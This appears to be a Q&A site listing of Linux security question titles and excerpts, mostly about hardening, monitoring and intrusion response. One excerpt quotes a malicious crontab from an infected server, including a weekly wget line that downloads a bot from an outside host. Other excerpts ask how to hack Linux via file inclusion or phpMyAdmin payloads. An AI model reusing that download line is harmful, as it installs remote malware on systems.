Securing Linux systems and applications; understanding Linux security features.

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7
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5answers
947 views

Securing Debian Apache PHP Server

I have Debian Apache PHP server. I want to secure him after the classic installation process. My usual steps are : List item update all packages remove all unnecessary services like named, portmap, ...
6
votes
2answers
907 views

Is privilege escalation possible when shell is under www user?

So, suppose that someone obtained a shell of a remote machine (of course via Internet). But the (linux) shell is under www user. Would there be any way of trying privilege escalation?
3
votes
2answers
3k views

How to hack linux via Local File Inclusion vulnerability?

During my penetration testing, I found a local file inclusion vulnerability. In fact this vulnerability existed in mailwatch <= 1.0.4, and its exploit existed in Exploit-DB. I tried to exploit the ...
3
votes
1answer
267 views

How to forward an specific FTP User to a Honeypot?

What I'm trying to do is to forward a specific FTP-User to a Honeypot, because the main server is for Shared Hosting and there's a lot of traffic, and I don't want to spend all the resources in ...
0
votes
2answers
356 views

How to verify correct, secure and test setuid?

I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
4
votes
1answer
1k views

Server monitoring for security

We do a lot of web hosting management and have started to get into selling server management packages. However, we want to start monitoring servers for security related threats. Our clients may use ...
3
votes
3answers
538 views

Truecrypt Plausible Deniability - Linux

As I understand it plausible deniability gives the user the option of having two passwords, one you provide the authorities/extortionist with and another that you might use for your self and files you ...
3
votes
1answer
176 views

Amavisd-New and Google safe browsing

I am studying the Google Safe Browsing. How do I know that it is possible to intercept a content of an email via amavis, I wonder if I can, for each url found, consult the Google safe browsing? Do ...
2
votes
2answers
312 views

Can the `system` function pose severe security threats on a shared hosting server?

I recently bought an account from a shared hosting company and I needed the php system function to be enabled for one of my projects. So I created a ticket and asked them to enable it. This is what ...
8
votes
4answers
561 views

Does UNIX have a dual approval mechanism?

Sudo and logging is used to keep administrators accountable. But is there a command/configuration that lets you enforce a dual approval type control such as the the "Two Person Concept"? (eg. Two ...
1
vote
2answers
2k views

Any reasons to why not use randomize_va_space?

I've been looking a bit into kernel options for hardening, and there is one that seems to be a good idea to deploy - randomize_va_space. But before I activate that feature I started a google search, ...
3
votes
3answers
268 views

Why should every file have a user and a group?

I've been reading in most hardening guides for linux, that you should check for files and directories without valid user or valid group. What I can't find, is how this could be used for an attack, or ...
-1
votes
1answer
2k views

How to hack linux from phpMyAdmin? [closed]

I got the username and the password for phpMyAdmin, and i am trying to hack the operating system "linux". i tried to create an payload.php file which is a pyaload taken form metasploit. i encoded the ...
6
votes
2answers
3k views

Issues with preserving $HOME on sudo

On Ubuntu, the default behavior with sudo is to preserve the user's $HOME environment variable, which means that sudo will be able to read the dot files in the user's home directory. I enjoy this ...
3
votes
2answers
347 views

Do LAMP log files sometimes contain sensitive information?

I will have a LAMP web server with CentOS and cPanel. With this setup, is it possible for any server log files, whether regular or error logs, to contain sensitive information in them, such as ...
4
votes
2answers
643 views

Detect changes in /boot when using full disk encryption

When running a fully encrypted linux system using dm-crypt, the /boot partition has to be unencrypted to boot, as far as I know. I've setup a server that can be unlocked remotely by connecting to a ...
1
vote
2answers
119 views

What was done to gain a list of home directory accounts?

Today some sites were defaced in our WHM/cpanel VPS. I understand that the common cause of this is outdated scripts/plugins/etc. However as I was checking the file manager of one of the accounts I saw ...
2
votes
2answers
3k views

IPTables DDoS protection working with per client IP address counter AND UDP

I am looking to protect LAMP server with a software, which will detect above average number of requests from single IP numbers (in this case DNS queries), and add these hosts to IPTables deny chain. ...
16
votes
3answers
948 views

Is passing sensitive data through the process environment secure?

Recently I have been looking for the possibility to pass sensitive information from one process to another (at process startup time) without passing it through the command line or without using a ...
1
vote
2answers
759 views

How is iptables useful to prevent attacks against a LAN?

I need some advice securing a LAN using iptables. I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These ...
1
vote
2answers
1k views

If Xampp is not secure enough for a production environment what should I use?

I am not even sure if this is the right place to ask this but here goes: I am thinking of running my own small website from a home server. I have been using Ubuntu 12.04 with xampp as my server ...
5
votes
4answers
1k views

What are the most common files to check with File integrity monitoring software?

I have a file integrity monitoring suite and in it I have to select specific files and folders for it to monitor. There are some obvious services that I want monitored like our web-server. Is there a ...
6
votes
4answers
478 views

Would running VMs inside of VMs be a more secure way to study viruses, etc?

I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
10
votes
1answer
2k views

Backtrack 5 in a VM - Why bridged networking over NAT?

When running Backtrack 5 from a VM, it is recommended to use the bridged networking option instead of the NAT networking option? How does it affect the usage of Backtrack - port scanning, ...
7
votes
3answers
4k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
9
votes
4answers
3k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
2
votes
1answer
258 views

Windows 8 in a VDI environment and the use of Secure Boot

I have a question, How would secure boot be implemented in a virtulized environment, say XEN hypervisor with multiple guest OS's including Windows 8 guest VM? does the guest VM need access to the ...
2
votes
3answers
1k views

Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
7
votes
8answers
4k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
2
votes
2answers
1k views

Skype security (linux)?

From the following article skype & from archlinux skype wiki some major skype insecurity in linux are: The skype binary is disguised against decompiling, so nobody is (still) able to reproduce ...
2
votes
2answers
312 views

How to properly secure OO PHP CMS?

I have OO PHP application which serves pages as well it does payment card processing via external RBS payment gateway. There is also reporting database. The problem is when somebody exploits this PHP, ...
3
votes
4answers
2k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
2
votes
1answer
494 views

Is using decrypt_derived more secure than a keyfile?

Say I have two partitions on a Linux system, a root partition (/) and a /home partition. Both of them are encrypted with LUKS. The /home partition needs only to be decrypted if / is unlocked and ...
1
vote
1answer
84 views

How many connections can TCP_WRAPPERS handle?

As we know that TCP_WRAPPERS is a good way of security on linux/unix system, to disallow or allow remote user to connect to the specific services. Assume that if there have a large number of ...
3
votes
3answers
2k views

Disable Perl for some/most Linux users?

One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
1
vote
1answer
345 views

Installing applications with different user accounts on linux

I have basic question about installing applications on Linux operating system, using the Oracle database as an example. When installing the Oracle database package, I created a user called ora112, a ...
-2
votes
1answer
707 views

Linux tools to choose suitable Cisco ASA 5500

I have a linux webhosting server which affects a high DDOS. I want to use Cisco ASA 5500 Series Adaptive Security Appliances to protect the linux server from this DDOS. I know there are many factors ...
12
votes
5answers
1k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...
8
votes
2answers
2k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
4
votes
1answer
541 views

Can auditd track events that occured over NFS

I have multiple servers mounting a NFS shared called /opt/WHATEVER from Server X. Server X has auditd enables with rule: sudo /sbin/auditctl -w /opt/WHATEVER -p rwxa When events occur on Server X ...
-4
votes
2answers
151 views

how to protect a personal computer? [closed]

I am Linux user with no knowledge on security , up to now i dont know that is my system was in attack or not . I havent felt anything wrong with my system . but every Computer user must have some ...
1
vote
1answer
5k views

How to use http-get-form in THC-Hydra?

I've been messing with Hydra (Brute Force) to solve the "Damn Vulnerable Web App" brute force section but the problem is when I use http-get-form it said: Warning: child 1 seems to have died, ...
5
votes
1answer
169 views

Testing a chroot environment for privilege escalation vulnerabilities

I'm looking for holes in my current implementation of a chroot jail that I have implemented for a group of users. Is there anything I can do better here? I utilized the following packages: RHEL6 ...
3
votes
2answers
234 views

How likely is an infection with an outdated skype on linux? [closed]

Today I found an article about a skype hotfix and noticed that the repo I use on my linux notebook: deb http://download.skype.com/linux/repos/debian/ stable non-free Doesn't have the new version, ...
4
votes
3answers
240 views

What would the cryptographic impact be of knowing the output of /dev/urandom?

Another noob question, I know, but something I'm unsure about. If I somehow magically knew the output of /dev/urandom at any given time, how much would that weaken a given encryption system? Or, ...
4
votes
1answer
243 views

Are we under hacker control?

We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites. You can log on only if you have a certificate (for root user) or via ftp (a restricted ...
12
votes
2answers
2k views

Security Concerns with X11 Forwarding

What are some of the security concerns and reasons either for or against allowing X11 Forwarding. I have generally taken an approach of not allowing it under the blanket guise of security. Recently, ...
1
vote
3answers
490 views

Danger of Path Traversal Attacks

I have setup a test application in Linux. I havent checked for paths in it, so if user enter /etc/passwd , then that file gets displayed to him. However, I want to understand what more can be done if ...
9
votes
4answers
551 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
4
votes
1answer
4k views

what does it mean to be setuid root?

I am reading Tanenbaum's Modern Operating Systems 3e. He says "Suppose that the program being attacked [with malicious code] is SETUID root in UNIX (or has Administrator power in Windows). The ...